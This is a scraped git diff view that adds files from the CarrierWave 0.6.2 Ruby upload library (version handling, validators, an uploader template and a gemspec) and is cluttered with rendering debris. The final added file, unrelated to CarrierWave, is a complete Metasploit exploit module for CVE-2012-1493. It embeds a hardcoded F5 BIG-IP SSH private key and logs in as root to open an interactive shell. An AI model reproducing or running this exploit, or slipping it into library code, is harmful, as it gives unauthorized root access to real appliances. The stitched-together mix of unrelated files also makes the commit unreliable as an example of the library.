if(condition.respond_to?(:call))
|
||||||
|
condition.call(self, :version => name, :file => file)
|
||||||
|
else
|
||||||
|
send(condition, file)
|
||||||
|
end
|
||||||
|
else
|
||||||
|
true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def full_filename(for_file)
|
||||||
|
[version_name, super(for_file)].compact.join('_')
|
||||||
|
end
|
||||||
|
|
||||||
|
def full_original_filename
|
||||||
|
[version_name, super].compact.join('_')
|
||||||
|
end
|
||||||
|
|
||||||
|
def cache_versions!(new_file)
|
||||||
|
# We might have processed the new_file argument after the callbacks were
|
||||||
|
# initialized, so get the actual file based off of the current state of
|
||||||
|
# our file
|
||||||
|
processed_parent = SanitizedFile.new :tempfile => self.file,
|
||||||
|
:filename => new_file.original_filename
|
||||||
|
|
||||||
|
active_versions.each do |name, v|
|
||||||
|
next if v.cached?
|
||||||
|
|
||||||
|
v.send(:cache_id=, cache_id)
|
||||||
|
# If option :from_version is present, create cache using cached file from
|
||||||
|
# version indicated
|
||||||
|
if self.class.versions[name][:options] && self.class.versions[name][:options][:from_version]
|
||||||
|
# Maybe the reference version has not been cached yet
|
||||||
|
unless versions[self.class.versions[name][:options][:from_version]].cached?
|
||||||
|
versions[self.class.versions[name][:options][:from_version]].cache!(processed_parent)
|
||||||
|
end
|
||||||
|
processed_version = SanitizedFile.new :tempfile => versions[self.class.versions[name][:options][:from_version]],
|
||||||
|
:filename => new_file.original_filename
|
||||||
|
v.cache!(processed_version)
|
||||||
|
else
|
||||||
|
v.cache!(processed_parent)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def store_versions!(new_file)
|
||||||
|
active_versions.each { |name, v| v.store!(new_file) }
|
||||||
|
end
|
||||||
|
|
||||||
|
def remove_versions!
|
||||||
|
versions.each { |name, v| v.remove! }
|
||||||
|
end
|
||||||
|
|
||||||
|
def retrieve_versions_from_cache!(cache_name)
|
||||||
|
versions.each { |name, v| v.retrieve_from_cache!(cache_name) }
|
||||||
|
end
|
||||||
|
|
||||||
|
def retrieve_versions_from_store!(identifier)
|
||||||
|
versions.each { |name, v| v.retrieve_from_store!(identifier) }
|
||||||
|
end
|
||||||
|
|
||||||
|
end # Versions
|
||||||
|
end # Uploader
|
||||||
|
end # CarrierWave
|
|
@ -0,0 +1,63 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
require 'active_model/validator'
|
||||||
|
require 'active_support/concern'
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
|
||||||
|
# == Active Model Presence Validator
|
||||||
|
module Validations
|
||||||
|
module ActiveModel
|
||||||
|
extend ActiveSupport::Concern
|
||||||
|
|
||||||
|
class ProcessingValidator < ::ActiveModel::EachValidator
|
||||||
|
|
||||||
|
def validate_each(record, attribute, value)
|
||||||
|
if e = record.send("#{attribute}_processing_error")
|
||||||
|
message = (e.message == e.class.to_s) ? :carrierwave_processing_error : e.message
|
||||||
|
record.errors.add(attribute, message)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
class IntegrityValidator < ::ActiveModel::EachValidator
|
||||||
|
|
||||||
|
def validate_each(record, attribute, value)
|
||||||
|
if e = record.send("#{attribute}_integrity_error")
|
||||||
|
message = (e.message == e.class.to_s) ? :carrierwave_integrity_error : e.message
|
||||||
|
record.errors.add(attribute, message)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
module HelperMethods
|
||||||
|
|
||||||
|
##
|
||||||
|
# Makes the record invalid if the file couldn't be uploaded due to an integrity error
|
||||||
|
#
|
||||||
|
# Accepts the usual parameters for validations in Rails (:if, :unless, etc...)
|
||||||
|
#
|
||||||
|
def validates_integrity_of(*attr_names)
|
||||||
|
validates_with IntegrityValidator, _merge_attributes(attr_names)
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Makes the record invalid if the file couldn't be processed (assuming the process failed
|
||||||
|
# with a CarrierWave::ProcessingError)
|
||||||
|
#
|
||||||
|
# Accepts the usual parameters for validations in Rails (:if, :unless, etc...)
|
||||||
|
#
|
||||||
|
def validates_processing_of(*attr_names)
|
||||||
|
validates_with ProcessingValidator, _merge_attributes(attr_names)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
included do
|
||||||
|
extend HelperMethods
|
||||||
|
include HelperMethods
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
I18n.load_path << File.join(File.dirname(__FILE__), "..", "locale", 'en.yml')
|
|
@ -0,0 +1,3 @@
|
||||||
|
module CarrierWave
|
||||||
|
VERSION = "0.6.2"
|
||||||
|
end
|
|
@ -0,0 +1,55 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
class <%= class_name %>Uploader < CarrierWave::Uploader::Base
|
||||||
|
|
||||||
|
# Include RMagick or MiniMagick support:
|
||||||
|
# include CarrierWave::RMagick
|
||||||
|
# include CarrierWave::MiniMagick
|
||||||
|
|
||||||
|
# Include the Sprockets helpers for Rails 3.1+ asset pipeline compatibility:
|
||||||
|
# include Sprockets::Helpers::RailsHelper
|
||||||
|
# include Sprockets::Helpers::IsolatedHelper
|
||||||
|
|
||||||
|
# Choose what kind of storage to use for this uploader:
|
||||||
|
storage :file
|
||||||
|
# storage :fog
|
||||||
|
|
||||||
|
# Override the directory where uploaded files will be stored.
|
||||||
|
# This is a sensible default for uploaders that are meant to be mounted:
|
||||||
|
def store_dir
|
||||||
|
"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}"
|
||||||
|
end
|
||||||
|
|
||||||
|
# Provide a default URL as a default if there hasn't been a file uploaded:
|
||||||
|
# def default_url
|
||||||
|
# # For Rails 3.1+ asset pipeline compatibility:
|
||||||
|
# # asset_path("fallback/" + [version_name, "default.png"].compact.join('_'))
|
||||||
|
#
|
||||||
|
# "/images/fallback/" + [version_name, "default.png"].compact.join('_')
|
||||||
|
# end
|
||||||
|
|
||||||
|
# Process files as they are uploaded:
|
||||||
|
# process :scale => [200, 300]
|
||||||
|
#
|
||||||
|
# def scale(width, height)
|
||||||
|
# # do something
|
||||||
|
# end
|
||||||
|
|
||||||
|
# Create different versions of your uploaded files:
|
||||||
|
# version :thumb do
|
||||||
|
# process :scale => [50, 50]
|
||||||
|
# end
|
||||||
|
|
||||||
|
# Add a white list of extensions which are allowed to be uploaded.
|
||||||
|
# For images you might use something like this:
|
||||||
|
# def extension_white_list
|
||||||
|
# %w(jpg jpeg gif png)
|
||||||
|
# end
|
||||||
|
|
||||||
|
# Override the filename of the uploaded files:
|
||||||
|
# Avoid using model.id or version_name here, see uploader/store.rb for details.
|
||||||
|
# def filename
|
||||||
|
# "something.jpg" if original_filename
|
||||||
|
# end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,7 @@
|
||||||
|
class UploaderGenerator < Rails::Generators::NamedBase
|
||||||
|
source_root File.expand_path("../templates", __FILE__)
|
||||||
|
|
||||||
|
def create_uploader_file
|
||||||
|
template "uploader.rb", "app/uploaders/#{file_name}_uploader.rb"
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,65 @@
|
||||||
|
# -*- encoding: utf-8 -*-
|
||||||
|
|
||||||
|
Gem::Specification.new do |s|
|
||||||
|
s.name = "carrierwave"
|
||||||
|
s.version = "0.6.2"
|
||||||
|
|
||||||
|
s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
|
||||||
|
s.authors = ["Jonas Nicklas"]
|
||||||
|
s.date = "2012-04-12"
|
||||||
|
s.description = "Upload files in your Ruby applications, map them to a range of ORMs, store them on different backends."
|
||||||
|
s.email = ["jonas.nicklas@gmail.com"]
|
||||||
|
s.extra_rdoc_files = ["README.md"]
|
||||||
|
s.files = ["README.md"]
|
||||||
|
s.homepage = "https://github.com/jnicklas/carrierwave"
|
||||||
|
s.rdoc_options = ["--main"]
|
||||||
|
s.require_paths = ["lib"]
|
||||||
|
s.rubyforge_project = "carrierwave"
|
||||||
|
s.rubygems_version = "1.8.15"
|
||||||
|
s.summary = "Ruby file upload library"
|
||||||
|
|
||||||
|
if s.respond_to? :specification_version then
|
||||||
|
s.specification_version = 3
|
||||||
|
|
||||||
|
if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then
|
||||||
|
s.add_runtime_dependency(%q<activesupport>, [">= 3.2.0"])
|
||||||
|
s.add_runtime_dependency(%q<activemodel>, [">= 3.2.0"])
|
||||||
|
s.add_development_dependency(%q<mysql2>, [">= 0"])
|
||||||
|
s.add_development_dependency(%q<rails>, [">= 3.2.0"])
|
||||||
|
s.add_development_dependency(%q<cucumber>, ["= 1.1.4"])
|
||||||
|
s.add_development_dependency(%q<json>, [">= 0"])
|
||||||
|
s.add_development_dependency(%q<rspec>, ["~> 2.0"])
|
||||||
|
s.add_development_dependency(%q<sham_rack>, [">= 0"])
|
||||||
|
s.add_development_dependency(%q<timecop>, [">= 0"])
|
||||||
|
s.add_development_dependency(%q<fog>, [">= 1.3.1"])
|
||||||
|
s.add_development_dependency(%q<mini_magick>, [">= 0"])
|
||||||
|
s.add_development_dependency(%q<rmagick>, [">= 0"])
|
||||||
|
else
|
||||||
|
s.add_dependency(%q<activesupport>, [">= 3.2.0"])
|
||||||
|
s.add_dependency(%q<activemodel>, [">= 3.2.0"])
|
||||||
|
s.add_dependency(%q<mysql2>, [">= 0"])
|
||||||
|
s.add_dependency(%q<rails>, [">= 3.2.0"])
|
||||||
|
s.add_dependency(%q<cucumber>, ["= 1.1.4"])
|
||||||
|
s.add_dependency(%q<json>, [">= 0"])
|
||||||
|
s.add_dependency(%q<rspec>, ["~> 2.0"])
|
||||||
|
s.add_dependency(%q<sham_rack>, [">= 0"])
|
||||||
|
s.add_dependency(%q<timecop>, [">= 0"])
|
||||||
|
s.add_dependency(%q<fog>, [">= 1.3.1"])
|
||||||
|
s.add_dependency(%q<mini_magick>, [">= 0"])
|
||||||
|
s.add_dependency(%q<rmagick>, [">= 0"])
|
||||||
|
end
|
||||||
|
else
|
||||||
|
s.add_dependency(%q<activesupport>, [">= 3.2.0"])
|
||||||
|
s.add_dependency(%q<activemodel>, [">= 3.2.0"])
|
||||||
|
s.add_dependency(%q<mysql2>, [">= 0"])
|
||||||
|
s.add_dependency(%q<rails>, [">= 3.2.0"])
|
||||||
|
s.add_dependency(%q<cucumber>, ["= 1.1.4"])
|
||||||
|
s.add_dependency(%q<json>, [">= 0"])
|
||||||
|
s.add_dependency(%q<rspec>, ["~> 2.0"])
|
||||||
|
s.add_dependency(%q<sham_rack>, [">= 0"])
|
||||||
|
s.add_dependency(%q<timecop>, [">= 0"])
|
||||||
|
s.add_dependency(%q<fog>, [">= 1.3.1"])
|
||||||
|
s.add_dependency(%q<mini_magick>, [">= 0"])
|
||||||
|
s.add_dependency(%q<rmagick>, [">= 0"])
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,152 @@
|
||||||
|
|
||||||
|
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'net/ssh'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info, {
|
||||||
|
'Name' => 'F5 BIG-IP SSH Private Key Exposure',
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'Description' => %q{
|
||||||
|
F5 ships a public/private key pair on BIG-IP appliances that allows
|
||||||
|
passwordless authentication to any other BIG-IP box. Since the key is
|
||||||
|
easily retrievable, an attacker can use it to gain unauthorized remote
|
||||||
|
access as root.
|
||||||
|
},
|
||||||
|
'Platform' => 'unix',
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Privileged' => true,
|
||||||
|
'Targets' => [ [ "Universal", {} ] ],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Compat' => {
|
||||||
|
'PayloadType' => 'cmd_interact',
|
||||||
|
'ConnectionType' => 'find',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
'Author' => ['egypt'],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'https://www.trustmatta.com/advisories/MATTA-2012-002.txt' ],
|
||||||
|
[ 'CVE', '2012-1493' ],
|
||||||
|
[ 'OSVDB', '82780' ]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => "Jun 11 2012",
|
||||||
|
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
}))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
# Since we don't include Tcp, we have to register this manually
|
||||||
|
Opt::RHOST(),
|
||||||
|
Opt::RPORT(22),
|
||||||
|
], self.class
|
||||||
|
)
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
|
||||||
|
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
# helper methods that normally come from Tcp
|
||||||
|
def rhost
|
||||||
|
datastore['RHOST']
|
||||||
|
end
|
||||||
|
def rport
|
||||||
|
datastore['RPORT']
|
||||||
|
end
|
||||||
|
|
||||||
|
def do_login(user)
|
||||||
|
|
||||||
|
opt_hash = {
|
||||||
|
:auth_methods => ['publickey'],
|
||||||
|
:msframework => framework,
|
||||||
|
:msfmodule => self,
|
||||||
|
:port => rport,
|
||||||
|
:key_data => [ key_data ],
|
||||||
|
:disable_agent => true,
|
||||||
|
:config => false,
|
||||||
|
:record_auth_info => true
|
||||||
|
}
|
||||||
|
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
||||||
|
begin
|
||||||
|
ssh_socket = nil
|
||||||
|
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
||||||
|
ssh_socket = Net::SSH.start(rhost, user, opt_hash)
|
||||||
|
end
|
||||||
|
rescue Rex::ConnectionError, Rex::AddressInUse
|
||||||
|
return :connection_error
|
||||||
|
rescue Net::SSH::Disconnect, ::EOFError
|
||||||
|
return :connection_disconnect
|
||||||
|
rescue ::Timeout::Error
|
||||||
|
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
|
||||||
|
return :connection_disconnect
|
||||||
|
rescue Net::SSH::AuthenticationFailed
|
||||||
|
print_error "#{rhost}:#{rport} SSH - Failed authentication"
|
||||||
|
rescue Net::SSH::Exception => e
|
||||||
|
return [:fail,nil] # For whatever reason.
|
||||||
|
end
|
||||||
|
|
||||||
|
if ssh_socket
|
||||||
|
|
||||||
|
# Create a new session from the socket, then dump it.
|
||||||
|
conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true)
|
||||||
|
ssh_socket = nil
|
||||||
|
|
||||||
|
return conn
|
||||||
|
else
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
conn = do_login("root")
|
||||||
|
if conn
|
||||||
|
print_good "Successful login"
|
||||||
|
handler(conn.lsock)
|
||||||
|
else
|
||||||
|
print_error "Login failed"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def key_data
|
||||||
|
<<EOF
|
||||||
|
-----BEGIN RSA PRIVATE KEY-----
|
||||||
|
MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh
|
||||||
|
UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk
|
||||||
|
OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB
|
||||||
|
gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF
|
||||||
|
8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv
|
||||||
|
7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM
|
||||||
|
2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s
|
||||||
|
37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL
|
||||||
|
RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4
|
||||||
|
rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/
|
||||||
|
uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU
|
||||||
|
Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G
|
||||||
|
LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS
|
||||||
|
-----END RSA PRIVATE KEY-----
|
||||||
|
EOF
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue